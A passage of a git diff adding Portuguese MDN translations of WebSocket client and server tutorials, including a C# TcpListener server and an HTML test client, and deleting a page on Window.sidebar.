WebSockets is an event-driven API; when messages are received, a message event is sent to the WebSocket object. To handle it, add an event listener for the message event, or use the {{domxref("WebSocket.onmessage", "onmessage")}} event handler. To begin listening for incoming data, you can do something like this:

+ +
exampleSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+
+ +

Receiving and interpreting JSON objects

+ +

Let's consider the chat client application first alluded to in {{ anch("Using JSON to transmit objects") }}. There are assorted types of data packets the client might receive, such as:

+ + + +

The code that interprets these incoming messages might look like this:

+ +
exampleSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "<b>User <em>" + msg.name + "</em> signed in at " + timeStr + "</b><br>";
+      break;
+    case "message":
+      text = "(" + timeStr + ") <b>" + msg.name + "</b>: " + msg.text + "<br>";
+      break;
+    case "rejectusername":
+      text = "<b>Your username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i < msg.users.length; i++) {
+        ul += msg.users[i] + "<br>";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+
+ +

Here we use {{jsxref("JSON.parse()")}} to convert the JSON object back into the original object, then examine and act upon its contents.

+ +

Text data format

+ +

Text received over a WebSocket connection is in UTF-8 format.

+ +

Closing the connection

+ +

When you've finished using the WebSocket connection, call the WebSocket method {{domxref("WebSocket.close", "close()")}}:

+ +
exampleSocket.close();
+
+ +

It may be helpful to examine the socket's {{domxref("WebSocket.bufferedAmount", "bufferedAmount")}} attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network. If this value isn't 0, there's pending data still, so you may wish to wait before closing the connection.

+ +

Security considerations

+ +

WebSockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure WebSocket connection from a page loaded using HTTPS or vice-versa. Most browsers now only allow secure WebSocket connections, and no longer support using them in insecure contexts.

diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html new file mode 100644 index 0000000000..a76f81d660 --- /dev/null +++ b/files/pt-pt/web/api/websockets_api/writing_websocket_server/index.html @@ -0,0 +1,441 @@ +--- +title: Escrever um servidor WebSocket em C# +slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C +tags: + - HTML5 + - Tutorial + - WebSockets +translation_of: Web/API/WebSockets_API/Writing_WebSocket_server +--- +

Introdução

+ +

Se desejar utilizar o WebSocket API, é útil dispor de um servidor. Neste artigo pode ver como escrever um em C#. Pode fazê-lo em qualquer língua do lado do servidor, mas para manter as coisas simples e mais compreensíveis, vamos usar a linguagem da Microsoft.

+ +

Este servidor está em conformidade com o RFC 6455, pelo que só tratará de ligações a partir das versões de navegadores; Chrome 16, Firefox 11, e IE 10 ou superior.

+ +

Primeiros passos

+ +

Os WebSockets comunicam através de uma ligação interwiki("wikipedia","Transmission_Control_Protocol","TCP (Transmission Control Protocol)"). Felizmente, C# tem uma classe TcpListener que serve para escutar ligações de TCP. Encontra-se no espaço de nomes System.Net.Sockets.

+ +
+

Nota: É aconselhável incluir o namespace com using a fim de escrever menos. Permite a utilização das classes de um namespace sem escrever sempre o namespace completo.

+
+ +

TcpListener

+ +

Construtor

+ +
+
TcpListener(System.Net.IPAddress localaddr, int port)
+
localaddr indica o endereço IP do ouvinte e port indica a porta.
+
+ +
+

Nota: Para criar um objeto IPAddress a partir de uma string, use o método static Parse de IPAddress.

+
+ +

Métodos

+ +
+
Start()
+
Começa a escutar os pedidos de ligação recebidos.
+
+ +
+
AcceptTcpClient()
+
Espera por uma ligação TCP, aceita-a e devolve-a como um objeto TcpClient.
+
+ +

Exemplo

+ +

Aqui tem uma implementação básica do servidor:

+ +
​using System.Net.Sockets;
+using System.Net;
+using System;
+
+class Server {
+    public static void Main() {
+        TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
+
+        server.Start();
+        Console.WriteLine("O servidor começou com endreço 127.0.0.1:80.{0}Esperando por uma conexão...", Environment.NewLine);
+
+        TcpClient client = server.AcceptTcpClient();
+
+        Console.WriteLine("Um cliente está conectado.");
+    }
+}
+
+ +

TcpClient

+ +

Métodos

+ +
+
GetStream()
+
Obtém o stream que é o canal de comunicação. Ambos os lados do canal têm capacidade de leitura e escrita.
+
+ +

Propriedades

+ +
+
int Available
+
Esta propriedade indica quantos bytes de dados foram enviados. O valor é zero até que a propriedade NetworkStream.DataAvailable seja true.
+
+ +

NetworkStream

+ +

Métodos

+ +
+
Write(Byte[] buffer, int offset, int size)
+
Escreve bytes vindos do buffer. offset e size determinam o comprimento da mensagem.
+
Read(Byte[] buffer, int offset, int size)
+
Lê bytes do buffer. offset e size determinam o comprimento da mensagem.
+
+ +

Exemplo

+ +

Vamos continuar o nosso exemplo:

+ +
TcpClient client = server.AcceptTcpClient();
+
+Console.WriteLine("Um cliente está conectado.");
+
+NetworkStream stream = client.GetStream();
+
+// entrar num ciclo infinito para poder processar qualquer mudança no stream
+while (true) {
+    while (!stream.DataAvailable);
+
+    Byte[] bytes = new Byte[client.Available];
+
+    stream.Read(bytes, 0, bytes.Length);
+}
+ +

Handshaking (aperto de mão)

+ +

Quando um cliente se liga a um servidor, envia um pedido GET para atualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

+ +

Este código de amostra pode detetar um GET do cliente. Note que isto irá bloquear até que os primeiros 3 bytes de uma mensagem estejam disponíveis. Deverão ser investigadas soluções alternativas para ambientes de produção.

+ +
using System.Text;
+using System.Text.RegularExpressions;
+
+while(client.Available < 3)
+{
+   // esperar para que hajam bytes suficientes disponiveis
+}
+
+Byte[] bytes = new Byte[client.Available];
+
+stream.Read(bytes, 0, bytes.Length);
+
+//traduzir bytes do pedido para uma string
+String data = Encoding.UTF8.GetString(bytes);
+
+if (Regex.IsMatch(data, "^GET")) {
+
+} else {
+
+}
+ +

A resposta é fácil de construir, mas pode ser um pouco difícil de compreender. A explicação completa do aperto de mão do servidor pode ser encontrada em RFC 6455, secção 4.2.2. Para os nossos propósitos, vamos apenas construir uma resposta simples.

+ +

Deve:

+ +
    +
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. +
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (um GUID especificado pela RFC 6455)
  4. +
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. +
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. +
+ +

+if (new System.Text.RegularExpressions.Regex("^GET").IsMatch(data))
+{
+    const string eol = "\r\n"; // HTTP/1.1 define a sequencia "CR LF" como o marcador de fim de linha
+
+    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + eol
+        + "Connection: Upgrade" + eol
+        + "Upgrade: websocket" + eol
+        + "Sec-WebSocket-Accept: " + Convert.ToBase64String(
+            System.Security.Cryptography.SHA1.Create().ComputeHash(
+                Encoding.UTF8.GetBytes(
+                    new System.Text.RegularExpressions.Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
+                )
+            )
+        ) + eol
+        + eol);
+
+    stream.Write(response, 0, response.Length);
+}
+
+ +

Descodificar mensagens

+ +

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.

+ +

Se enviarmos "MDN", recebemos estes bytes:

+ + + + + + + + + + + + + + + +
129131618435611216109
+ +

Vejamos o que significam estes bytes.

+ +

O primeiro byte, que tem actualmente um valor de 129, é um bitfield que se decompõe da seguinte forma:

+ + + + + + + + + + + + + + + + + + + + +
FIN (Bit 0)RSV1 (Bit 1)RSV2 (Bit 2)RSV3 (Bit 3)Opcode (Bit 4:7)
10000x1=0001
+ + + +

O segundo byte, que tem atualmente um valor de 131, é outro campo de bits que se decompõe assim:

+ + + + + + + + + + + + + + +
MASK (Bit 0)Comprimento do conteúdo da mensagem (Bit 1:7)
10x83=0000011
+ + + +
+

Porque o primeiro bit é sempre 1 para mensagens cliente-servidor, pode subtrair 128 deste byte para se livrar do bit MASK.

+
+ +

Note que o bit MASK está definido na nossa mensagem. Isto significa que os quatro bytes seguintes (61, 84, 35, e 6) são os bytes de máscara utilizados para descodificar a mensagem. Estes bytes mudam com cada mensagem.

+ +

Os restantes bytes são a payload da mensagem codificada.

+ +

Algoritmo para descodificar

+ +

Di = Ei XOR M(i mod 4)

+ +

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

+ +

Exemplo em C#:

+ +
Byte[] decoded = new Byte[3];
+Byte[] encoded = new Byte[3] {112, 16, 109};
+Byte[] mask = new Byte[4] {61, 84, 35, 6};
+
+for (int i = 0; i < encoded.Length; i++) {
+    decoded[i] = (Byte)(encoded[i] ^ mask[i % 4]);
+}
+ +

Exemplo completo

+ +

Aqui tem o código, que foi explorado, na sua totalidade; isto inclui o código do cliente e do servidor.

+ +

wsserver.cs

+ +
//
+// csc wsserver.cs
+// wsserver.exe
+
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Text.RegularExpressions;
+
+class Server {
+    public static void Main() {
+        string ip = "127.0.0.1";
+        int port = 80;
+        var server = new TcpListener(IPAddress.Parse(ip), port);
+
+        server.Start();
+        Console.WriteLine("Server has started on {0}:{1}, Waiting for a connection...", ip, port);
+
+        TcpClient client = server.AcceptTcpClient();
+        Console.WriteLine("A client connected.");
+
+        NetworkStream stream = client.GetStream();
+
+        // enter to an infinite cycle to be able to handle every change in stream
+        while (true) {
+            while (!stream.DataAvailable);
+            while (client.Available < 3); // match against "get"
+
+            byte[] bytes = new byte[client.Available];
+            stream.Read(bytes, 0, client.Available);
+            string s = Encoding.UTF8.GetString(bytes);
+
+            if (Regex.IsMatch(s, "^GET", RegexOptions.IgnoreCase)) {
+                Console.WriteLine("=====Handshaking from client=====\n{0}", s);
+
+                // 1. Obtain the value of the "Sec-WebSocket-Key" request header without any leading or trailing whitespace
+                // 2. Concatenate it with "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (a special GUID specified by RFC 6455)
+                // 3. Compute SHA-1 and Base64 hash of the new value
+                // 4. Write the hash back as the value of "Sec-WebSocket-Accept" response header in an HTTP response
+                string swk = Regex.Match(s, "Sec-WebSocket-Key: (.*)").Groups[1].Value.Trim();
+                string swka = swk + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+                byte[] swkaSha1 = System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(swka));
+                string swkaSha1Base64 = Convert.ToBase64String(swkaSha1);
+
+                // HTTP/1.1 defines the sequence CR LF as the end-of-line marker
+                byte[] response = Encoding.UTF8.GetBytes(
+                    "HTTP/1.1 101 Switching Protocols\r\n" +
+                    "Connection: Upgrade\r\n" +
+                    "Upgrade: websocket\r\n" +
+                    "Sec-WebSocket-Accept: " + swkaSha1Base64 + "\r\n\r\n");
+
+                stream.Write(response, 0, response.Length);
+            } else {
+                bool fin = (bytes[0] & 0b10000000) != 0,
+                    mask = (bytes[1] & 0b10000000) != 0; // must be true, "All messages from the client to the server have this bit set"
+
+                int opcode = bytes[0] & 0b00001111, // expecting 1 - text message
+                    msglen = bytes[1] - 128, // & 0111 1111
+                    offset = 2;
+
+                if (msglen == 126) {
+                    // was ToUInt16(bytes, offset) but the result is incorrect
+                    msglen = BitConverter.ToUInt16(new byte[] { bytes[3], bytes[2] }, 0);
+                    offset = 4;
+                } else if (msglen == 127) {
+                    Console.WriteLine("TODO: msglen == 127, needs qword to store msglen");
+                    // i don't really know the byte order, please edit this
+                    // msglen = BitConverter.ToUInt64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0);
+                    // offset = 10;
+                }
+
+                if (msglen == 0)
+                    Console.WriteLine("msglen == 0");
+                else if (mask) {
+                    byte[] decoded = new byte[msglen];
+                    byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] };
+                    offset += 4;
+
+                    for (int i = 0; i < msglen; ++i)
+                        decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]);
+
+                    string text = Encoding.UTF8.GetString(decoded);
+                    Console.WriteLine("{0}", text);
+                } else
+                    Console.WriteLine("mask bit not set");
+
+                Console.WriteLine();
+            }
+        }
+    }
+}
+ +

client.html

+ +
<!doctype html>
+<style>
+    textarea { vertical-align: bottom; }
+    #output { overflow: auto; }
+    #output > p { overflow-wrap: break-word; }
+    #output span { color: blue; }
+    #output span.error { color: red; }
+</style>
+<h2>WebSocket Test</h2>
+<textarea cols=60 rows=6></textarea>
+<button>send</button>
+<div id=output></div>
+<script>
+    // http://www.websocket.org/echo.html
+
+    var button = document.querySelector("button"),
+        output = document.querySelector("#output"),
+        textarea = document.querySelector("textarea"),
+        // wsUri = "ws://echo.websocket.org/",
+        wsUri = "ws://127.0.0.1/",
+        websocket = new WebSocket(wsUri);
+
+    button.addEventListener("click", onClickButton);
+
+    websocket.onopen = function (e) {
+        writeToScreen("CONNECTED");
+        doSend("WebSocket rocks");
+    };
+
+    websocket.onclose = function (e) {
+        writeToScreen("DISCONNECTED");
+    };
+
+    websocket.onmessage = function (e) {
+        writeToScreen("<span>RESPONSE: " + e.data + "</span>");
+    };
+
+    websocket.onerror = function (e) {
+        writeToScreen("<span class=error>ERROR:</span> " + e.data);
+    };
+
+    function doSend(message) {
+        writeToScreen("SENT: " + message);
+        websocket.send(message);
+    }
+
+    function writeToScreen(message) {
+        output.insertAdjacentHTML("afterbegin", "<p>" + message + "</p>");
+    }
+
+    function onClickButton() {
+        var text = textarea.value;
+
+        text && doSend(text);
+        textarea.value = "";
+        textarea.focus();
+    }
+</script>
+ +

Ver também

+ + + +
 
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html new file mode 100644 index 0000000000..7f3b996573 --- /dev/null +++ b/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html @@ -0,0 +1,257 @@ +--- +title: Escrever servidores de WebSocket +slug: Web/API/WebSockets_API/Escrever_servidores_de_WebSocket +tags: + - Guía + - HTML5 + - Tutorial + - WebSocket + - WebSocket API + - WebSockets +translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers +--- +
{{APIRef("Websockets API")}}
+ +

Um servidor WebSocket não é nada mais que uma aplicação que escuta qualquer porta de um servidor TCP que possui um protocolo específico. A tarefa de criar um servidor personalizado é uma tarefa complexa para a maioria; no entanto, é simples implementar um servidor simples de WebSocket numa plataforma á sua escolha.

+ +

Um servidor WebSocket pode ser escrito em qualquer linguagem de servidor que suporte Berkeley sockets, como C(++), Python, PHP, ou server-side JavaScript. Este tutorial não se foca em nenhuma linguagem em específico, mas serve como guia para facilitar o desenvolver do seu próprio server.

+ +

A WebSocket server can be written in any server-side programming language that is capable of Berkeley sockets, such as C(++), Python, PHP, or server-side JavaScript. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.

+ +

This article assumes you're already familiar with how {{Glossary("HTTP")}} works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a WebSocket server.

+ +
+

Note: Read the latest official WebSockets specification, RFC 6455. Sections 1 and 4-7 are especially interesting to server implementors. Section 10 discusses security and you should definitely peruse it before exposing your server.

+
+ +

A WebSocket server is explained on a very low level here. WebSocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular HTTP server) to detect WebSocket handshakes, pre-process them, and send those clients to a real WebSocket server. This means that you don't have to bloat your server code with cookie and authentication handlers (for example).

+ +

The WebSocket handshake

+ +

First, the server must listen for incoming socket connections using a standard TCP socket. Depending on your platform, this may be handled for you automatically. For example, let's assume that your server is listening on example.com, port 8000, and your socket server responds to {{HTTPMethod("GET")}} requests at example.com/chat.

+ +
+

Warning: The server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. Browsers generally require a secure connection for WebSockets, although they may offer an exception for local devices.

+
+ +

The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets. In the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. The server must be careful to understand everything the client asks for, otherwise security issues can occur.

+ +
+

Tip: The request-uri (/chat here) has no defined meaning in the spec. So, many people  use it to let one server handle multiple WebSocket applications. For example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a multiplayer game.

+
+ +

Client handshake request

+ +

Even though you're building a server, a client still has to start the WebSocket handshake process by contacting the server and requesting a WebSocket connection. So, you must know how to interpret the client's request. The client will send a pretty standard HTTP request with headers that looks like this (the HTTP version must be 1.1 or greater, and the method must be GET):

+ +
GET /chat HTTP/1.1
+Host: example.com:8000
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+
+
+ +

The client can solicit extensions and/or subprotocols here; see Miscellaneous for details. Also, common headers like {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}, {{HTTPHeader("Cookie")}}, or authentication headers might be there as well. Do whatever you want with those; they don't directly pertain to the WebSocket. It's also safe to ignore them. In many common setups, a reverse proxy has already dealt with them.

+ +
+

Tip: All browsers send an Origin header. You can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 Forbidden if you don't like what you see. However, be warned that non-browser agents can send a faked Origin. Most applications reject requests without this header.

+
+ +

If any header is not understood or has an incorrect value, the server should send a {{HTTPStatus("400")}} ("Bad Request")} response and immediately close the socket. As usual, it may also give the reason why the handshake failed in the HTTP response body, but the message may never be displayed (browsers do not display it). If the server doesn't understand that version of WebSockets, it should send a {{HTTPHeader("Sec-WebSocket-Version")}} header back that contains the version(s) it does understand.  In the example above, it indicates version 13 of the WebSocket protocol.

+ +

The most interesting header here is {{HTTPHeader("Sec-WebSocket-Key")}}. Let's look at that next.

+ +
+

Note: Regular HTTP status codes can be used only before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).

+
+ +

Server handshake response

+ +

When the server receives the handshake request, it should send back a special response that indicates that the protocol will be changing from HTTP to WebSocket. That header looks something like the following (remember each header line ends with \r\n and put an extra \r\n after the last one to indicate the end of the header):

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+
+
+ +

Additionally, the server can decide on extension/subprotocol requests here; see Miscellaneous for details. The Sec-WebSocket-Accept header is important in that the server must derive it from the {{HTTPHeader("Sec-WebSocket-Key")}} that the client sent to it. To get it, concatenate the client's Sec-WebSocket-Key and the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" together (it's a "magic string"), take the SHA-1 hash of the result, and return the base64 encoding of that hash.

+ +
+

Note: This seemingly overcomplicated process exists so that it's obvious to the client whether the server supports WebSockets. This is important because security issues might arise if the server accepts a WebSockets connection but interprets the data as a HTTP request.

+
+ +

So if the Key was "dGhlIHNhbXBsZSBub25jZQ==", the Sec-WebSocket-Accept header's value is "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=". Once the server sends these headers, the handshake is complete and you can start swapping data!

+ +
+

Note: The server can send other headers like {{HTTPHeader("Set-Cookie")}}, or ask for authentication or redirects via other status codes, before sending the reply handshake.

+
+ +

Keeping track of clients

+ +

This doesn't directly relate to the WebSocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. The same client IP address can try to connect multiple times. However, the server can deny them if they attempt too many connections in order to save itself from Denial-of-Service attacks.

+ +

For example, you might keep a table of usernames or ID numbers along with the corresponding {{domxref("WebSocket")}} and other data that you need to associate with that connection.

+ +

Exchanging data frames

+ +

Either the client or the server can choose to send a message at any time — that's the magic of WebSockets. However, extracting information from these so-called "frames" of data is a not-so-magical experience. Although all frames follow the same specific format, data going from the client to the server is masked using XOR encryption (with a 32-bit key). Section 5 of the specification describes this in detail.

+ +

Format

+ +

Each data frame (from the client to the server or vice-versa) follows this same format:

+ +
Frame format:
+​​
+      0                   1                   2                   3
+      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+     +-+-+-+-+-------+-+-------------+-------------------------------+
+     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
+     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
+     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
+     | |1|2|3|       |K|             |                               |
+     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
+     |     Extended payload length continued, if payload len == 127  |
+     + - - - - - - - - - - - - - - - +-------------------------------+
+     |                               |Masking-key, if MASK set to 1  |
+     +-------------------------------+-------------------------------+
+     | Masking-key (continued)       |          Payload Data         |
+     +-------------------------------- - - - - - - - - - - - - - - - +
+     :                     Payload Data continued ...                :
+     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+     |                     Payload Data continued ...                |
+     +---------------------------------------------------------------+
+ +

The MASK bit tells whether the message is encoded. Messages from the client must be masked, so your server must expect this to be 1. (In fact, section 5.1 of the spec says that your server must disconnect from a client if that client sends an unmasked message.) When sending a frame back to the client, do not mask it and do not set the mask bit. We'll explain masking later. Note: You must mask messages even when using a secure socket. RSV1-3 can be ignored, they are for extensions.

+ +

The opcode field defines how to interpret the payload data: 0x0 for continuation, 0x1 for text (which is always encoded in UTF-8), 0x2 for binary, and other so-called "control codes" that will be discussed later. In this version of WebSockets, 0x3 to 0x7 and 0xB to 0xF have no meaning.

+ +

The FIN bit tells whether this is the last message in a series. If it's 0, then the server keeps listening for more parts of the message; otherwise, the server should consider the message delivered. More on this later.

+ +

Decoding Payload Length

+ +

To read the payload data, you must know when to stop reading. That's why the payload length is important to know. Unfortunately, this is somewhat complicated. To read it, follow these steps:

+ +
    +
  1. Read bits 9-15 (inclusive) and interpret that as an unsigned integer. If it's 125 or less, then that's the length; you're done. If it's 126, go to step 2. If it's 127, go to step 3.
  2. +
  3. Read the next 16 bits and interpret those as an unsigned integer. You're done.
  4. +
  5. Read the next 64 bits and interpret those as an unsigned integer. (The most significant bit must be 0.) You're done.
  6. +
+ +

Reading and Unmasking the Data

+ +

If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. Once the payload length and masking key is decoded, you can read that number of bytes from the socket. Let's call the data ENCODED, and the key MASK. To get DECODED, loop through the octets (bytes a.k.a. characters for text data) of ENCODED and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):

+ +
var DECODED = "";
+for (var i = 0; i < ENCODED.length; i++) {
+    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+}
+ +

Now you can figure out what DECODED means depending on your application.

+ +

Message Fragmentation

+ +

The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes 0x0 to 0x2.

+ +

Recall that the opcode tells what a frame is meant to do. If it's 0x1, the payload is text. If it's 0x2, the payload is binary data. However, if it's 0x0, the frame is a continuation frame; this means the server should concatenate the frame's payload to the last frame it received from that client. Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:

+ +
Client: FIN=1, opcode=0x1, msg="hello"
+Server: (process complete message immediately) Hi.
+Client: FIN=0, opcode=0x1, msg="and a"
+Server: (listening, new message containing text started)
+Client: FIN=0, opcode=0x0, msg="happy new"
+Server: (listening, payload concatenated to previous message)
+Client: FIN=1, opcode=0x0, msg="year!"
+Server: (process complete message) Happy new year to you too!
+ +

Notice the first frame contains an entire message (has FIN=1 and opcode!=0x0), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (opcode=0x1), but the entire message has not arrived yet (FIN=0). All remaining parts of that message are sent with continuation frames (opcode=0x0), and the final frame of the message is marked by FIN=1. Section 5.4 of the spec describes message fragmentation.

+ +

Pings and Pongs: The Heartbeat of WebSockets

+ +

At any point after the handshake, either the client or the server can choose to send a ping to the other party. When the ping is received, the recipient must send back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.

+ +

A ping or pong is just a regular frame, but it's a control frame. Pings have an opcode of 0x9, and pongs have an opcode of 0xA. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.

+ +
+

If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.

+
+ +

Closing the connection

+ +

To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in Section 5.5.1). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. 

+ +

Miscellaneous

+ +
+

WebSocket codes, extensions, subprotocols, etc. are registered at the IANA WebSocket Protocol Registry.

+
+ +

WebSocket extensions and subprotocols are negotiated via headers during the handshake. Sometimes extensions and subprotocols very similar, but there is a clear distinction. Extensions control the WebSocket frame and modify the payload, while subprotocols structure the WebSocket payload and never modify anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).

+ +

Extensions

+ +
+

This section needs expansion. Please edit if you are equipped to do so.

+
+ +

Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the same data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.

+ +
+

Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.

+
+ +

TODO

+ +

Subprotocols

+ +

Think of a subprotocol as a custom XML schema or doctype declaration. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.

+ +
+

Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.

+
+ +

A client has to ask for a specific subprotocol. To do so, it will send something like this as part of the original handshake:

+ +
GET /chat HTTP/1.1
+...
+Sec-WebSocket-Protocol: soap, wamp
+
+
+ +

or, equivalently:

+ +
...
+Sec-WebSocket-Protocol: soap
+Sec-WebSocket-Protocol: wamp
+
+
+ +

Now the server must pick one of the protocols that the client suggested and it supports. If there is more than one, send the first one the client sent. Imagine our server can use both soap and wamp. Then, in the response handshake, it sends:

+ +
Sec-WebSocket-Protocol: soap
+
+
+ +
+

The server can't send more than one Sec-Websocket-Protocol header.
+ If the server doesn't want to use any subprotocol, it shouldn't send any Sec-WebSocket-Protocol header. Sending a blank header is incorrect. The client may close the connection if it doesn't get the subprotocol it wants.

+
+ +

If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol json. In this subprotocol, all data is passed as JSON. If the client solicits this protocol and the server wants to use it, the server needs to have a JSON parser. Practically speaking, this will be part of a library, but the server needs to pass the data around.

+ +
+

Tip: To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: Sec-WebSocket-Protocol: chat.example.com. Note that this isn't required, it's just an optional convention, and you can use any string you wish.

+
+ + + + diff --git a/files/pt-pt/web/api/window/barra_lateral/index.html b/files/pt-pt/web/api/window/barra_lateral/index.html deleted file mode 100644 index d35750364d..0000000000 --- a/files/pt-pt/web/api/window/barra_lateral/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Window.sidebar -slug: Web/API/Window/barra_lateral -tags: - - DOM - - Janela - - Não Padrão - - Propriedade - - Referencia -translation_of: Web/API/Window/sidebar ---- -
{{APIRef}} {{Non-standard_header}}
- -

Devolve um objeto da barra lateral, que contém vários métodos para registar extras com o navegador.

- -

Notas

- -

O objeto da barra lateral devolvido tem os seguintes métodos:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MétodoDescrição (SeaMonkey)Descrição (Firefox)
addPanel(title, contentURL, "")Adiciona um painel de barra lateral.Obsoleto desde o Firefox 23 (apresentado apenas no SeaMonkey).
- Em vez disso, os utilizadores finais podem utilizar a opção "carregar este marcador na barra lateral". Consulte também Criação de uma barra lateral do Firefox.
addPersistentPanel(title, contentURL, "")Adiciona um painel de barra lateral, que consegue funcionar em segundo plano.
AddSearchProvider(descriptionURL)Installs a search provider (OpenSearch). Adding OpenSearch search engines contains more details. Added in Firefox 2.
addSearchEngine(engineURL, iconURL, suggestedTitle, suggestedCategory) {{Obsolete_inline(44)}} -

Installs a search engine (Sherlock). Adding Sherlock search engines contains more details.

- -
-

Note: This was made obsolete in Firefox 44, and has been removed completely in Firefox 59. You should use AddSearchProvider instead.

-
-
IsSearchProviderInstalled(descriptionURL)Indicates if a specific search provider (OpenSearch) is installed.
- -

Especificação

- -

Específico da Mozilla. Não faz parte de qualquer padrão.

